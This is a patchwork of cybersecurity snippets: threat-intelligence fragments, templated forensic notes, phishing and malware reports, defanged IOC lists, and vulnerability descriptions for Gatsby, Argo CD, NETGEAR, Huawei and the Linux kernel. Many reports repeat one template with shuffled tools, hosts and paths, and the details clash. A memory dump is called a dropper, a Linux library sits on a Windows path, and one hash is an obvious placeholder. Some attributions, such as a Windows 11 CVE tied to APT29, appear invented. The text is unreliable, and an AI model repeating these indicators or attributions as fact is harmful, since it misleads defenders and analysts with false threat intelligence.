Forensic Investigation Notes: Analysis of the compromised host revealed GhostPack artifacts at C:\Users\admin\Downloads\winlogon.exe. Memory dump analysis confirmed execution of LaZagne. Registry modifications pointed to persistence via /opt/app/bin/loader.exe. Network forensics identified connections to 172[.]20[.]113[.]22 and mailedge[ . ]dev. Email headers traced the initial vector to admin@document-share[ . ]link. File C:\Program Files\Common Files\config.dat (MD5: d734ff0838a33dd15ae2c8d5c6089b62) was identified as the initial dropper. A staging URL hxxps://authedge[ . ]site/portal/verify resolved to 71 [ . ] 9 [ . ] 121 [ . ] 6. Secondary artifact hash: MD5: 6478fccc188d34653833b2b2791778f1.


Phishing Campaign Report: NCSC identified a large-scale phishing operation. Emails originated from finance@login-portal[ . ]tech and billing@identity-verify[ . ]cc, spoofing legitimate services. Victims were directed to hxxps://cache-static[.]cc/callback which hosted a credential harvesting page on auth-cdn[.]io. A secondary link hxxps://syncstorage[ . ]com/assets/js/payload.js delivered StealC (MD5: 4adc29400ed734004dab71b19e3da6bb). The malware was saved to /dev/shm/helper.sh and established C2 with 192[.]119[.]174[.]42.


Gatsby is a free and open source framework based on React. The Gatsby framework prior to versions 4.25.7 and 5.9.1 contain a Local File Inclusion vulnerability in the `__file-code-frame` and `__original-stack-frame` paths, exposed when running the Gatsby develop server (`gatsby develop`). Any file in scope of the development server could potentially be exposed. It should be noted that by default `gatsby develop` is only accessible via the localhost `127 [ . ] 0 [ . ] 0 [ . ] 1`, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as `--host 0 [ . ] 0 [ . ] 0 [ . ] 0`, `-H 0 [ . ] 0 [ . ] 0 [ . ] 0`, or the `GATSBY_HOST=0[.]0[.]0[.]0` environment variable. A patch has been introduced in `gatsby@5.9.1` and `gatsby@4.25.7` which mitigates the issue. Users are advised to upgrade. Users unable to upgrade should avoid exposing their development server to the internet.


A Chinese advanced persistent threat APT compromised Forbes[.]com to set up a watering hole style web-based drive-by attack against US Defense and Financial Services firms in late November 2014.


In the Linux kernel, the following vulnerability has been resolved:

mm/huge_memory: fix folio isn't locked in softleaf_to_folio()

On arm64 server, we found folio that get from migration entry isn't locked
in softleaf_to_folio().  This issue triggers when mTHP splitting and
zap_nonpresent_ptes() races, and the root cause is lack of memory barrier
in softleaf_to_folio().  The race is as follows:

	CPU0                                             CPU1

deferred_split_scan()                              zap_nonpresent_ptes()
  lock folio
  split_folio()
    unmap_folio()
      change ptes to migration entries
    __split_folio_to_order()                         softleaf_to_folio()
      set flags(including PG_locked) for tail pages    folio = pfn_folio(softleaf_to_pfn(entry))
      smp_wmb()                                        VM_WARN_ON_ONCE(!folio_test_locked(folio))
      prep_compound_page() for tail pages

In __split_folio_to_order(), smp_wmb() guarantees page flags of tail pages
are visible before the tail page becomes non-compound.  smp_wmb() should
be paired with smp_rmb() in softleaf_to_folio(), which is missed.  As a
result, if zap_nonpresent_ptes() accesses migration entry that stores tail
pfn, softleaf_to_folio() may see the updated compound_head of tail page
before page->flags.

This issue will trigger VM_WARN_ON_ONCE() in pfn_swap_entry_folio()
because of the race between folio split and zap_nonpresent_ptes()
leading to a folio incorrectly undergoing modification without a folio
lock being held.

This is a BUG_ON() before commit 93976a20345b ("mm: eliminate further
swapops predicates"), which in merged in v6.19-rc1.

To fix it, add missing smp_rmb() if the softleaf entry is migration entry
in softleaf_to_folio() and softleaf_to_page().

[tujinjiang@huawei[ . ]com: update function name and comments]


HUAWEI Mate 20 versions Versions earlier than 10[.]1[.]0[.]160(C00E160R3P8);HUAWEI Mate 20 Pro versions Versions earlier than 10 [ . ] 1 [ . ] 0 [ . ] 270(C431E7R1P5),Versions earlier than 10[.]1[.]0[.]270(C635E3R1P5),Versions earlier than 10 [ . ] 1 [ . ] 0 [ . ] 273(C636E7R2P4);HUAWEI Mate 20 X versions Versions earlier than 10[.]1[.]0[.]160(C00E160R2P8);HUAWEI P30 versions Versions earlier than 10 [ . ] 1 [ . ] 0 [ . ] 160(C00E160R2P11);HUAWEI P30 Pro versions Versions earlier than 10[.]1[.]0[.]160(C00E160R2P8);HUAWEI Mate 20 RS versions Versions earlier than 10[.]1[.]0[.]160(C786E160R3P8);HonorMagic2 versions Versions earlier than 10 [ . ] 0 [ . ] 0 [ . ] 187(C00E61R2P11);Honor20 versions Versions earlier than 10[.]0[.]0[.]175(C00E58R4P11);Honor20 PRO versions Versions earlier than 10 [ . ] 0 [ . ] 0 [ . ] 194(C00E62R8P12);HonorMagic2 versions Versions earlier than 10 [ . ] 0 [ . ] 0 [ . ] 187(C00E61R2P11);HonorV20 versions Versions earlier than 10 [ . ] 0 [ . ] 0 [ . ] 188(C00E62R2P11) have an improper authentication vulnerability. The system does not properly sign certain encrypted file, the attacker should gain the key used to encrypt the file, successful exploit could cause certain file be forged


Vulnerability Advisory: CVE-2021-20463 is a critical authentication bypass affecting Windows 11. Cisco Talos confirmed active exploitation by APT29 in the wild. Exploitation delivers ShadowPad (MD5: 668e0db3b11603a371aad1719be99e09) which is dropped to /etc/cron.d/config.dat. The exploit payload is hosted at hxxp://mailcache[ . ]club/panel/index.html and communicates to 59 [ . ] 245 [ . ] 175 [ . ] 59 for C2.


The purely nominal control over the applications uploaded to these stores means attackers can conceal Trojans in apps made to look like innocent games or utilities . The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center . In this case the legitimate hpqhvind[ . ]exe was dropped by the attackers , along with their malicious hpqhvsei[ . ]dll , in C:\Windows\Temp . KillNet has remained relatively consistent in its targeting of Ukraine ’s supporters and prioritization of DDoS attacks since Russia invaded in February 2022 , and despite new capabilities , the collective has hardly altered its targeting patterns .


Currently , such Trojans attack a limited number of bank customers , but it is expected that cybercriminals will invent new techniques that will allow them to expand the number and the geography of potential victims . This confirms the actors are using Poison Ivy as part of their toolkit , something speculated in the original Trend Micro report but not confirmed by them . w[redacted][.]livehost[.]live : 443 . w[redacted][ . ]dnslookup[ . ]services : 443 . where the redacted part corresponds to the name of the targeted university . Therefore , there are cases where these vulnerabilities are accessible via the internet .


Forensic Investigation Notes: Analysis of the compromised host revealed Chisel artifacts at /usr/local/bin/lsass.dmp. Memory dump analysis confirmed execution of PowerView. Registry modifications pointed to persistence via /var/tmp/sam.hive. Network forensics identified connections to 102[.]11[.]110[.]38 and secure-static[.]tech. Email headers traced the initial vector to report@document-share[ . ]link. File C:\Users\admin\Downloads\taskhost.exe (MD5: 79453a7147bc47adcc84203273bc0114) was identified as the initial dropper. A staging URL hxxp://relaydata[.]club/collect resolved to 172[.]152[.]37[.]138. Secondary artifact hash: SHA256: 2eda58c885ea72f87853e0cb2aa8ae1923988cffd920d231b38b08e3432fcba6.


The Check Point researchers have dubbed the malware family " HummingBad , '' but researchers from mobile security company Lookout say HummingBad is in fact Shedun , a family of auto-rooting malware that came to light last November and had already infected a large number of devices . RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders . APT33 : 217 [ . ] 13 [ . ] 103 [ . ] 46 securityupdated[ . ]com . By comparison , the INDUSTROYER.V2 incidents lacked many of those same disruptive components and the malware did not feature the wiper module from the original INDUSTROYER .


Artifact Analysis for BlackCat campaign:
Stage 1 dropper at C:\Users\admin\AppData\Local\Temp\csrss.exe - SHA256: a16a35403663a1262b4080e869303cc5f48c6278af283b0ebb6118822bc25c9f
Stage 2 loader at C:\Windows\Tasks\implant.so - SHA1: c61f85d8f083079b4c2d2f2188786d1c8dc6d201
Final payload at C:\Users\admin\Desktop\lsass.dmp - SHA1: 2d1f09ae91bf2bf9f10c5e61138fdea4d3a2bbcf
Exfiltration module - SHA1: 5fb3b7373a3f44942e0d0dd1b14ab29a34ce1912
All stages communicated with 153 [ . ] 90 [ . ] 110 [ . ] 61. LinPEAS signatures detected in Stage 2.


Screenshots : captures an image of the current screen via the raw frame buffer . The current campaign is a sharp escalation of detected activity since summer 2017 . Winnti : 44260a1d 2018-08-15 10:59:09 hxxps://dump[.]gxxservice[.]com/common/up/up_base.php . The group also engaged in the theft of digital certificates which they then used to sign their malware to make them stealthier .


Corrupted archive privapp.txt Looks like a list of system applications ( including spyware components ) from the infected device run-as.x run-as.y Run-as tool ELF file SuperSU config fragment for implant components and the busybox tool supersu.cfg : This config allows the implant to use all root features silently . DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity . APT33 : 8[.]26[.]21[.]120 mynetwork[.]ddns[.]net . The ThreatConnect Platform centralizes threat intelligence , automates key activities and enables information sharing across the internal security organization and with external partners .


] top/ Oct 23 , 2017 hxxp : //online[.]bankaustria[.]at.id8817466 [ . The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals . Unknown .


FIN7, also known as Carbanak Group and ITG14, targeted the U.S. hospitality and retail sectors with novel malware. The group sent phishing emails with malicious DOCX attachments exploiting CVE-2023-36884 in Microsoft Office. The payload, a JScript backdoor named Lizar, was dropped to C:\Users\AppData\Local\Temp\WinUpdate.js and beaconed to the C2 domain cdn-static-updates[ . ]com at IP 185 [ . ] 219 [ . ] 52 [ . ] 229. Additional C2 domains: api-gateway-service[ . ]com and storage-cloud-backup[.]net. The group also deployed Carbanak backdoor (SHA256 d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2) and used BloodHound for Active Directory reconnaissance. Cobalt Strike beacons connected to 45 [ . ] 129 [ . ] 14 [ . ] 88 and 91[.]195[.]240[.]117. The Lizar implant communicated over DNS TXT records to evade network detection.


Artifact Analysis for StealC campaign:
Stage 1 dropper at C:\Windows\Tasks\payload.bin - MD5: 0c7c14a5a6c4fa603c4a8f1b24db09c2
Stage 2 loader at C:\Users\admin\AppData\Local\Temp\sam.hive - SHA256: 0c44c651b481b3f2094a0e066ea6f274fa99be82235a944aa247f8d86927fe49
Final payload at /home/user/.config/chrome_helper.exe - SHA256: 988f361295b6c849bf478e26cd64f752b9a1a4fd7d8fe249bd8228e2145768bd
Exfiltration module - SHA256: 138418c77d26a48d6b3da213e52b9119e096659c22d4db8707c543135bf01b24
All stages communicated with 56[.]244[.]25[.]242. PowerShell Empire signatures detected in Stage 2.


A backdoor also known as: Trojan.Teper Trojan/AutoRun[ . ]Delf[ . ]lv Trojan.MSIL.Krypt.11 Win32.Trojan.WisdomEyes.16070401.9500.9999 TROJ_INJECTOR_FA250012.UVPM Trojan.Win32.DarkKomet.dkhkpy TrojWare.MSIL.Teper.A Trojan.PWS.Stealer.13025 TROJ_INJECTOR_FA250012.UVPM BehavesLike.Win32.Trojan.dc Backdoor/Androm.dvy TR/Inject.xbbeiet W32/Vobfus.GEP.worm Win32/AutoRun[ . ]Delf[ . ]LV Win32.Worm.Autorun.Suxp Win32/Trojan.d74


Proofpoint detected a multi-stage attack chain. The initial phishing email from noreply@secure-verify[.]net contained a link to hxxps://static-edge[ . ]io/portal/verify. This redirected to hxxp://static-cloud[.]xyz/assets/js/payload.js on proxydata[.]link. A secondary email from ceo@auth-check[ . ]org pointed to hxxps://relay-login[ . ]info/secure/token which delivered Ryuk. The final payload callback was hxxps://secure-proxy[.]tech/download/update.exe resolving to 10[.]163[.]25[.]199 via proxy-secure[.]org.


Certain NETGEAR devices are affected by incorrect configuration of security settings. This affects AC2100 before 1 [ . ] 2 [ . ] 0 [ . ] 72, AC2400 before 1[.]2[.]0[.]72, AC2600 before 1[.]2[.]0[.]72, CBK40 before 2 [ . ] 5 [ . ] 0 [ . ] 10, CBR40 before 2 [ . ] 5 [ . ] 0 [ . ] 10, D6000 before 1 [ . ] 0 [ . ] 0 [ . ] 80, D6220 before 1 [ . ] 0 [ . ] 0 [ . ] 60, D6400 before 1 [ . ] 0 [ . ] 0 [ . ] 94, D7000v2 before 1 [ . ] 0 [ . ] 0 [ . ] 62, D7800 before 1[.]0[.]3[.]48, D8500 before 1[.]0[.]3[.]50, DC112A before 1[.]0[.]0[.]48, DGN2200v4 before 1 [ . ] 0 [ . ] 0 [ . ] 114, DM200 before 1[.]0[.]0[.]66, EAX20 before 1 [ . ] 0 [ . ] 0 [ . ] 36, EAX80 before 1[.]0[.]1[.]62, EX2700 before 1[.]0[.]1[.]58, EX3110 before 1[.]0[.]1[.]68, EX3700 before 1[.]0[.]0[.]84, EX3800 before 1[.]0[.]0[.]84, EX3920 before 1 [ . ] 0 [ . ] 0 [ . ] 84, EX6000 before 1 [ . ] 0 [ . ] 0 [ . ] 44, EX6100v2 before 1[.]0[.]1[.]94, EX6110 before 1[.]0[.]1[.]68, EX6120 before 1 [ . ] 0 [ . ] 0 [ . ] 54, EX6130 before 1 [ . ] 0 [ . ] 0 [ . ] 36, EX6150v1 before 1[.]0[.]0[.]46, EX6150v2 before 1[.]0[.]1[.]94, EX6200v1 before 1[.]0[.]3[.]94, EX6250 before 1 [ . ] 0 [ . ] 0 [ . ] 128, EX6400 before 1 [ . ] 0 [ . ] 2 [ . ] 152, EX6400v2 before 1 [ . ] 0 [ . ] 0 [ . ] 128, EX6410 before 1 [ . ] 0 [ . ] 0 [ . ] 128, EX6920 before 1 [ . ] 0 [ . ] 0 [ . ] 54, EX7000 before 1[.]0[.]1[.]90, EX7300 before 1 [ . ] 0 [ . ] 2 [ . ] 152, EX7300v2 before 1 [ . ] 0 [ . ] 0 [ . ] 128, EX7320 before 1 [ . ] 0 [ . ] 0 [ . ] 128, EX7500 before 1[.]0[.]0[.]68, EX7700 before 1[.]0[.]0[.]210, EX8000 before 1 [ . ] 0 [ . ] 1 [ . ] 224, MK62 before 1[.]0[.]5[.]102, MR60 before 1[.]0[.]5[.]102, MS60 before 1[.]0[.]5[.]102, R6120 before 1[.]0[.]0[.]70, R6220 before 1[.]1[.]0[.]100, R6230 before 1[.]1[.]0[.]100, R6250 before 1[.]0[.]4[.]42, R6260 before 1[.]1[.]0[.]76, R6300v2 before 1 [ . ] 0 [ . ] 4 [ . ] 42, R6330 before 1[.]1[.]0[.]76, R6350 before 1 [ . ] 1 [ . ] 0 [ . ] 76, R6400v1 before 1 [ . ] 0 [ . ] 1 [ . ] 62, R6400v2 before 1[.]0[.]4[.]98, R6700v1 before 1[.]0[.]2[.]16, R6700v2 before 1[.]2[.]0[.]72, R6700v3 before 1[.]0[.]4[.]98, R6800 before 1[.]2[.]0[.]72, R6800 before 1[.]2[.]0[.]72, R6850 before 1 [ . ] 1 [ . ] 0 [ . ] 76, R6900 before 1 [ . ] 0 [ . ] 2 [ . ] 16, R6900P before 1 [ . ] 3 [ . ] 2 [ . ] 124, R6900v2 before 1[.]2[.]0[.]72, R7000 before 1 [ . ] 0 [ . ] 11 [ . ] 106, R7000P before 1 [ . ] 3 [ . ] 2 [ . ] 124, R7100LG before 1[.]0[.]0[.]56, R7200 before 1[.]2[.]0[.]72, R7350 before 1[.]2[.]0[.]72, R7400 before 1 [ . ] 2 [ . ] 0 [ . ] 72, R7450 before 1 [ . ] 2 [ . ] 0 [ . ] 72, R7500v2 before 1[.]0[.]3[.]48, R7800 before 1 [ . ] 0 [ . ] 2 [ . ] 74, R7850 before 1[.]0[.]5[.]60, R7900 before 1 [ . ] 0 [ . ] 4 [ . ] 26, R7900P before 1[.]4[.]1[.]62, R7960P before 1[.]4[.]1[.]62, R8000 before 1 [ . ] 0 [ . ] 4 [ . ] 58, R8000P before 1[.]4[.]1[.]62, R8300 before 1[.]0[.]2[.]134, R8500 before 1 [ . ] 0 [ . ] 2 [ . ] 134, R8900 before 1[.]0[.]5[.]24, R9000 before 1[.]0[.]5[.]24, RAX120 before 1 [ . ] 0 [ . ] 1 [ . ] 136, RAX15 before 1[.]0[.]1[.]64, RAX20 before 1 [ . ] 0 [ . ] 1 [ . ] 64, RAX200 before 1 [ . ] 0 [ . ] 5 [ . ] 24, RAX35 before 1 [ . ] 0 [ . ] 3 [ . ] 80, RAX40 before 1[.]0[.]3[.]80, RAX45 before 1[.]0[.]2[.]64, RAX50 before 1 [ . ] 0 [ . ] 2 [ . ] 64, RAX75 before 1[.]0[.]3[.]102, RAX80 before 1 [ . ] 0 [ . ] 3 [ . ] 102, RBK12 before 2 [ . ] 6 [ . ] 1 [ . ] 44, RBR10 before 2[.]6[.]1[.]44, RBS10 before 2[.]6[.]1[.]44, RBK20 before 2[.]6[.]1[.]38, RBR20 before 2[.]6[.]1[.]36, RBS20 before 2[.]6[.]1[.]38, RBK40 before 2 [ . ] 6 [ . ] 1 [ . ] 38, RBR40 before 2[.]6[.]1[.]38, RBS40 before 2[.]6[.]1[.]38, RBK50 before 2[.]6[.]1[.]40, RBR50 before 2[.]6[.]1[.]40, RBS50 before 2 [ . ] 6 [ . ] 1 [ . ] 40, RBK752 before 3[.]2[.]16[.]6, RBR750 before 3 [ . ] 2 [ . ] 16 [ . ] 6, RBS750 before 3 [ . ] 2 [ . ] 16 [ . ] 6, RBK842 before 3 [ . ] 2 [ . ] 16 [ . ] 6, RBR840 before 3 [ . ] 2 [ . ] 16 [ . ] 6, RBS840 before 3[.]2[.]16[.]6, RBK852 before 3[.]2[.]16[.]6, RBR850 before 3[.]2[.]16[.]6, RBS850 before 3[.]2[.]16[.]6, RBS40V before 2 [ . ] 5 [ . ] 1 [ . ] 6, RBS40V-200 before 1 [ . ] 0 [ . ] 0 [ . ] 46, RBS50Y before 2 [ . ] 6 [ . ] 1 [ . ] 40, RBW30 before 2 [ . ] 5 [ . ] 0 [ . ] 4, RS400 before 1[.]5[.]0[.]48, WN2500RPv2 before 1[.]0[.]1[.]56, WN3000RPv3 before 1[.]0[.]2[.]86, WN3500RPv1 before 1[.]0[.]0[.]28, WNDR3400v3 before 1[.]0[.]1[.]32, WNR1000v3 before 1[.]0[.]2[.]78, WNR2000v2 before 1 [ . ] 2 [ . ] 0 [ . ] 12, XR300 before 1 [ . ] 0 [ . ] 3 [ . ] 50, XR450 before 2 [ . ] 3 [ . ] 2 [ . ] 66, XR500 before 2 [ . ] 3 [ . ] 2 [ . ] 66, and XR700 before 1[.]0[.]1[.]34.


Malware Analysis Report: Lumma Stealer (SHA256: 06948d09af44afdd113fc92928e6fe8b9aa65470558e30794a97933dd51e4d9e). Upon execution on SonicWall SMA, the sample creates /dev/shm/helper.sh and injects into legitimate processes. Network analysis shows beaconing to 172 [ . ] 182 [ . ] 49 [ . ] 98 every 60 seconds and DNS queries to staticcloud[ . ]dev. The second stage was fetched from hxxps://storage-cdn[.]live/secure/token and written to /opt/app/bin/beacon.dll. The payload uses PsExec-style techniques for defense evasion. A secondary hash (SHA1: e153351fcd673f171a2db9790bc0f24b2f9f26bb) was extracted from the unpacked payload.


Credentials targeted by PinchDuke include ones associated with the following software or services : The Bat! , Yahoo! , Mail[.]ru , Passport[ . ]Net , Google Talk , Netscape Navigator , Mozilla Firefox , Mozilla Thunderbird , Internet Explorer , Microsoft Outlook , WinInet Credential Cache , Lightweight Directory Access Protocol ( LDAP ) .


Phishing Campaign Report: Mandiant identified a large-scale phishing operation. Emails originated from verify@mail-service[ . ]info and confirm@urgent-notice[ . ]online, spoofing legitimate services. Victims were directed to hxxp://static-static[ . ]club/portal/verify which hosted a credential harvesting page on relay-mail[ . ]dev. A secondary link hxxp://edge-mail[ . ]site/login delivered Emotet (SHA256: 3bf7d3c91132b6d5231429b9b547b91951c423589d1e09945ff9e86ca3448c46). The malware was saved to /tmp/update.dll and established C2 with 185 [ . ] 199 [ . ] 206 [ . ] 27.


In the Linux kernel, the following vulnerability has been resolved:

usb: gadget: f_ncm: fix potential NULL ptr deref in ncm_bitrate()

In Google internal bug 265639009 we've received an (as yet) unreproducible
crash report from an aarch64 GKI 5.10.149-android13 running device.

AFAICT the source code is at:
  hxxps://android[.]googlesource[.]com/kernel/common/+/refs/tags/ASB-2022-12-05_13-5.10

The call stack is:
  ncm_close() -> ncm_notify() -> ncm_do_notify()
with the crash at:
  ncm_do_notify+0x98/0x270
Code: 79000d0b b9000a6c f940012a f9400269 (b9405d4b)

Which I believe disassembles to (I don't know ARM assembly, but it looks sane enough to me...):

  // halfword (16-bit) store presumably to event->wLength (at offset 6 of struct usb_cdc_notification)
  0B 0D 00 79    strh w11, [x8, #6]

  // word (32-bit) store presumably to req->Length (at offset 8 of struct usb_request)
  6C 0A 00 B9    str  w12, [x19, #8]

  // x10 (NULL) was read here from offset 0 of valid pointer x9
  // IMHO we're reading 'cdev->gadget' and getting NULL
  // gadget is indeed at offset 0 of struct usb_composite_dev
  2A 01 40 F9    ldr  x10, [x9]

  // loading req->buf pointer, which is at offset 0 of struct usb_request
  69 02 40 F9    ldr  x9, [x19]

  // x10 is null, crash, appears to be attempt to read cdev->gadget->max_speed
  4B 5D 40 B9    ldr  w11, [x10, #0x5c]

which seems to line up with ncm_do_notify() case NCM_NOTIFY_SPEED code fragment:

  event->wLength = cpu_to_le16(8);
  req->length = NCM_STATUS_BYTECOUNT;

  /* SPEED_CHANGE data is up/down speeds in bits/sec */
  data = req->buf + sizeof *event;
  data[0] = cpu_to_le32(ncm_bitrate(cdev->gadget));

My analysis of registers and NULL ptr deref crash offset
  (Unable to handle kernel NULL pointer dereference at virtual address 000000000000005c)
heavily suggests that the crash is due to 'cdev->gadget' being NULL when executing:
  data[0] = cpu_to_le32(ncm_bitrate(cdev->gadget));
which calls:
  ncm_bitrate(NULL)
which then calls:
  gadget_is_superspeed(NULL)
which reads
  ((struct usb_gadget *)NULL)->max_speed
and hits a panic.

AFAICT, if I'm counting right, the offset of max_speed is indeed 0x5C.
(remember there's a GKI KABI reservation of 16 bytes in struct work_struct)

It's not at all clear to me how this is all supposed to work...
but returning 0 seems much better than panic-ing...


Incident Response Summary: On detection of anomalous traffic to 71[.]227[.]188[.]3, the Europol IR team identified Dridex running as C:\Users\admin\Downloads\lsass.dmp. The threat actor, believed to be Velvet Tempest, used Brute Ratel for credential harvesting and Havoc for lateral movement. Exfiltrated data was sent to update-cache[.]cc and syncauth[.]link. The initial dropper (MD5: 62472b50f126dc17cca3586b6796feda) was delivered via a phishing email from noreply@secure-verify[.]net. A second C2 node was observed at 10[.]42[.]62[.]126, with a persistence mechanism writing to /dev/shm/ntds.dit.


Argo CD is a declarative continuous deployment for Kubernetes. Argo CD Cluster secrets might be managed declaratively using Argo CD / kubectl apply. As a result, the full secret body is stored in`kubectl[ . ]kubernetes[ . ]io/last-applied-configuration` annotation. pull request #7139 introduced the ability to manage cluster labels and annotations. Since clusters are stored as secrets it also exposes the `kubectl[ . ]kubernetes[ . ]io/last-applied-configuration` annotation which includes full secret body. In order to view the cluster annotations via the Argo CD API, the user must have `clusters, get` RBAC access. **Note:** In many cases, cluster secrets do not contain any actually-secret information. But sometimes, as in bearer-token auth, the contents might be very sensitive. The bug has been patched in versions 2.8.3, 2.7.14, and 2.6.15. Users are advised to upgrade. Users unable to upgrade should update/deploy cluster secret with `server-side-apply` flag which does not use or rely on `kubectl[ . ]kubernetes[ . ]io/last-applied-configuration` annotation. Note: annotation for existing secrets will require manual removal.


Forensic Investigation Notes: Analysis of the compromised host revealed Merlin artifacts at C:\Users\admin\Downloads\agent.py. Memory dump analysis confirmed execution of PowerShell Empire. Registry modifications pointed to persistence via /var/tmp/dropper.ps1. Network forensics identified connections to 88[.]10[.]230[.]69 and staticsync[ . ]dev. Email headers traced the initial vector to admin@login-portal[ . ]tech. File C:\Users\admin\Downloads\lsass.dmp (SHA1: ae3d16263e58bfa0a677b1ee6b210a0caf73630e) was identified as the initial dropper. A staging URL hxxps://staticgateway[.]info/wp-content/uploads/doc.php resolved to 172[.]11[.]177[.]42. Secondary artifact hash: SHA256: 2a7cd051324007715a838d9875881e215d18022c00bd5dd9943c6c2ebe78ce01.


Phishing Campaign Report: Recorded Future identified a large-scale phishing operation. Emails originated from notification@urgent-notice[ . ]online and billing@login-portal[ . ]tech, spoofing legitimate services. Victims were directed to hxxps://gateway-api[.]online/assets/js/payload.js which hosted a credential harvesting page on sync-mail[ . ]top. A secondary link hxxp://updatestorage[ . ]io/secure/token delivered WarmCookie (SHA1: 89580e72ffddd4a0d7785cdb8e836db32862c30a). The malware was saved to /etc/cron.d/ntds.dit and established C2 with 113[.]76[.]189[.]64.


Malware Analysis Report: NjRAT (MD5: 0c4a37d206508e4ea364dcb3c2a826da). Upon execution on Atlassian Confluence, the sample creates C:\Users\Public\Documents\csrss.exe and injects into legitimate processes. Network analysis shows beaconing to 20[.]255[.]157[.]190 every 60 seconds and DNS queries to gatewayupdate[ . ]com. The second stage was fetched from hxxps://storagesecure[ . ]club/download/update.exe and written to C:\Users\Public\Documents\taskhost.exe. The payload uses Nmap-style techniques for defense evasion. A secondary hash (SHA256: 242d7091d4af7d7070db8571e9b757ed39fcba7ea2cd3c208712e6e200a262f6) was extracted from the unpacked payload.


Under a model known as sandboxing , most Android apps are n't permitted to access passwords or other data available to most other apps . There are several indicators , which have led CTU researchers to believe with high confidence that NICKEL ACADEMY is behind the current spearphishing campaign . APT33 : 91[.]230[.]121[.]144 remserver[.]ddns[.]net . A rough translation of this message is as follows : Hack520 seems to be very interested in hosting services and his profile fits that of a system administrator profile with some programming and hacking skills .


Blog Post by ESET Research: Tracking Lazarus Group's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2020-24628 against Apache Struts deployments. The initial access vector involves spear-phishing emails from it@credential-check[ . ]site delivering BatLoader. Post-compromise, the attackers deploy QakBot and use CrackMapExec for reconnaissance. C2 infrastructure includes 172[.]39[.]4[.]118 and cache-api[ . ]org. A staging server at hxxps://datadata[.]online/download/update.exe hosts additional tooling. Key artifact: C:\Users\Public\Documents\agent.py (MD5: a1ebfcac112d4eb9c509c4755348418a).


Malware Analysis Report: IcedID (SHA256: eb94e503b38830cb04fcd556cef4a792ac8516422ecc34b5238ea5530052972f). Upon execution on Citrix NetScaler, the sample creates C:\Windows\Tasks\taskhost.exe and injects into legitimate processes. Network analysis shows beaconing to 64 [ . ] 2 [ . ] 198 [ . ] 199 every 60 seconds and DNS queries to portal-cdn[ . ]info. The second stage was fetched from hxxp://data-storage[ . ]live/wp-content/uploads/doc.php and written to C:\Users\Public\Documents\config.dat. The payload uses CrackMapExec-style techniques for defense evasion. A secondary hash (MD5: 3a74d18f311a4500832ee852e632e689) was extracted from the unpacked payload.


IOC Bulletin - BlackCat Campaign:
Network Indicators:
- 172[.]63[.]16[.]146
- 10[.]177[.]152[.]136
- 182[.]229[.]111[.]235
- relayproxy[.]cc
- cloudcache[ . ]link
URLs:
- hxxps://sync-storage[ . ]top/wp-content/uploads/doc.php
- hxxp://mail-api[.]io/gate.php
Email Senders:
- noreply@login-portal[.]tech
- account@account-update[ . ]xyz
File Indicators:
- SHA1: b565ee4b18d6ae432adbc4a3beb7a995a14568b6
- SHA1: 70bedfaf1bba22f050f537e73ef6af12c4410ee3
- Drop path: C:\Program Files\Common Files\backdoor.elf


During the 2013 attacks , the Wild Neutron actor successfully compromised and leveraged the website www[ . ]iphonedevsdk[ . ]com , which is an iPhone developers forum .


A backdoor also known as: Script.SWF.Cxx+.C173 SWF.Kit.Angler.G Exploit-SWF.x Bloodhound.Flash.31 SWF/Exploit.CVE-2015-3090.A SWF_EKSPLOYT.ED Swf.Packer.Angle-1 Script.SWF.Cxx+.C173 Script.SWF.Cxx+.C173 Script.SWF.Cxx+.C173 Script.SWF.Cxx+.C173 Exploit.SWF.438 SWF_EKSPLOYT.ED BehavesLike.Flash.Exploit.kb EXP/CVE-2015-3090[.]AU Exploit:SWF/Netis.B Script.SWF.Cxx+.C173 Script.SWF.Cxx+.C173 SWF.Win32.Script.800529 Exploit.SWF SWF/ExKit.AQ!exploit


Shamoon2 : 69[ . ]87[ . ]223[ . ]26:8080/p .


Check Point Research detected a multi-stage attack chain. The initial phishing email from report@auth-check[ . ]org contained a link to hxxps://relaystorage[.]tech/login. This redirected to hxxp://cloudstorage[.]online/assets/js/payload.js on syncapi[ . ]tech. A secondary email from contact@identity-verify[ . ]cc pointed to hxxp://data-portal[.]live/wp-content/uploads/doc.php which delivered SmokeLoader. The final payload callback was hxxp://portal-api[.]info/portal/verify resolving to 192 [ . ] 140 [ . ] 80 [ . ] 246 via gateway-data[ . ]org.


IOCs C & C IP addresses : 155 [ . ] 133 [ . ] 82 [ . ] 181 155[.]133[.]82[.]240 155 [ . ] 133 [ . ] 82 [ . ] 244 185 [ . ] 234 [ . ] 218 [ . ] 59 195 [ . ] 22 [ . ] 126 [ . ] 160 195[.]22[.]126[.]163 195 [ . ] 22 [ . ] 126 [ . ] 80 195[.]22[.]126[.]81 5[.]45[.]73[.]24 5 [ . ] 45 [ . ] 74 [ . ] 130 IP addresses from which the Trojan was downloaded : 185 [ . ] 174 [ . ] 173 [ . ] 31 185[.]234[.]218[.]59 188[.]166[.]156[.]110 195[.]22[.]126[.]160 195 [ . ] 22 [ . ] 126 [ . ] 80 195[.]22[.]126[.]81 195 [ . ] 22 [ . ] 126 [ . ] 82 195 [ . ] 22 [ . ] 126 [ . ] 83 SHA256 : 158c7688877853ffedb572ccaa8aa9eff47fa379338151f486e46d8983ce1b67 3aedbe7057130cf359b9b57fa533c2b85bab9612c34697585497734530e7457d f3ae6762df3f2c56b3fe598a9e3ff96ddf878c553be95bacbd192bd14debd637 df61a75b7cfa128d4912e5cb648cfc504a8e7b25f6c83ed19194905fef8624c8 c0cfd462ab21f6798e962515ac0c15a92036edd3e2e63639263bf2fd2a10c184 d791e0ce494104e2ae0092bb4adc398ce740fef28fa2280840ae7f61d4734514 38dcec47e2f4471b032a8872ca695044ddf0c61b9e8d37274147158f689d65b9 27cea60e23b0f62b4b131da29fdda916bc4539c34bb142fb6d3f8bb82380fe4c 31edacd064debdae892ab0bc788091c58a03808997e11b6c46a6a5de493ed25d 